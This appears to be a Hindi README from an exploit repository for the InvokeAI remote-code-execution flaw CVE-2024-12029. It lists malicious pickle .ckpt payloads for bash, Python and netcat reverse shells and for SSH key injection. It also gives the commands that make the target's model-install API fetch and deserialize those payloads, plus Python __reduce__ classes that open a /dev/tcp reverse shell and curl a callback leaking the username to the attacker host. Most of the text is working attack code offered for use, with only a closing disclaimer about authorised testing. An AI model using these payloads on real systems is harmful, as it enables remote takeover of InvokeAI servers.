यह रिपॉजिटरी InvokeAI RCE भेद्यता (CVE-2024-12029) के लिए वैकल्पिक पेलोड दृष्टिकोण प्रदान करती है, जब SSH कुंजी इंजेक्शन विफल हो जाता है। पेलोड यह परीक्षण करने के लिए डिज़ाइन किए गए हैं कि क्या pickle डिसीरियलाइज़ेशन वास्तव में हो रहा है और वैकल्पिक पहुँच विधियाँ प्रदान करते हैं।
इस रिपॉजिटरी में InvokeAI RCE भेद्यता (CVE-2024-12029) के लिए वैकल्पिक पेलोड दृष्टिकोण शामिल हैं, जब SSH कुंजी इंजेक्शन विफल हो जाता है। पेलोड यह परीक्षण करने के लिए डिज़ाइन किए गए हैं कि क्या pickle डिसीरियलाइज़ेशन वास्तव में हो रहा है और वैकल्पिक एक्सेस विधियाँ प्रदान करते हैं।
जब SSH कुंजी इंजेक्शन पेलोड सफलतापूर्वक वितरित किए जाते हैं (स्टेटस 201) लेकिन SSH एक्सेस के लिए अभी भी पासवर्ड की आवश्यकता होती है, तो यह संकेत देता है कि:
payload_reverse_bash.ckpt (89 बाइट्स) - Bash रिवर्स शेलpayload_reverse_python.ckpt (267 बाइट्स) - Python रिवर्स शेलpayload_reverse_nc.ckpt (70 बाइट्स) - Netcat रिवर्स शेलpayload_callback_test.ckpt (115 बाइट्स) - डिसीरियलाइज़ेशन सत्यापित करने के लिए HTTP कॉलबैकpayload_test.ckpt (90 बाइट्स) - सरल फ़ाइल निर्माण परीक्षणpayload_alt_exec.ckpt (223 बाइट्स) - वैकल्पिक निष्पादन विधिpayload_ssh_simple.ckpt (271 बाइट्स) - Linux-संगत SSH कुंजी इंजेक्शनkali_reverse_test.py - व्यापक परीक्षण सूटreverse_shell_payload.py - रिवर्स शेल पेलोड जनरेट करेंpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txtclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load() भेद्यतायह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। किसी भी सिस्टम का परीक्षण करने से पहले उपयोगकर्ता यह सुनिश्चित करने के लिए ज़िम्मेदार हैं कि उनके पास उचित प्राधिकरण है।